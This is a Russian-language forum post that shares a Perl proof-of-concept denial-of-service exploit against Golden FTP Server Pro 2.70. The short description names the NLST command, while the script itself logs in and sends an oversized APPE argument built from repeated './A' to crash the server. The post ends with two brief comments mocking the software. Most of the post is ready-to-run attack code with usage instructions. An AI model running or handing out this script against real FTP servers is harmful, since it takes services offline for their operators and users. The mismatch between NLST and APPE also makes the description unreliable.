DoS Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC

[Ŧ1LAN]

Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании приложения.

Уязвимость существует из-за ошибки при обработке аргументов команды "NLST". Удаленный пользователь может с помощью специально сформированной команды вызвать отказ в обслуживании приложения.
Пример:

NLST /A/A/A/A/A/ [approximate 5836 bytes]

Эксплоит:

#!/usr/bin/perl

#
-----------------------------------------------------------------------------------------
# Golden FTP Server Pro 2.70 Remote APPE command PoC exploit : DoS
# /JA
# https://www.securinfos.info
#
-----------------------------------------------------------------------------------------

use Net::FTP;

$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

if (($host) && ($port)) {

# Exploit string (try with a different value if needed)
$exploit_string = "./A" x 1000;

      print "Trying to connect to $host:$port\n";
      $sock = Net::FTP->new("$host",Port => $port, TimeOut => 60, Debug=> $debug) or die "[-] Connection failed\n";
      print "[+] Connect OK!\n";
      print "Logging...\n";
      if (!$user) {
           $user = "test";
           $pass = "test";
      }
      $sock->login($user, $pass);
      sleep(1);
      $answer = $sock->message;
      print $answer ."\n";
      print "Sending string...\n";
      $sock->quot("APPE",$exploit_string);
} else {
      print "Golden FTP Server Pro 2.70 - Remote APPE command PoC
exploit : DoS\nhttps://www.securinfos.info\n\nUsing: $0 host port [debug: 1 or 0] username password\n\n";
}

 

[mause]

ой а кто им еше пользуется? это же извините дерьмо, а не фтп сервер, а теперь еще оказалось что дырявый....ф топку его...

 

[Ŧ1LAN]

ой а кто им еше пользуется? это же извините дерьмо, а не фтп сервер, а теперь еще оказалось что дырявый....ф топку его...

Ещё пользуются... а то, что дырявый так это плохо чтоли? ты же им всё равно не пользуешься.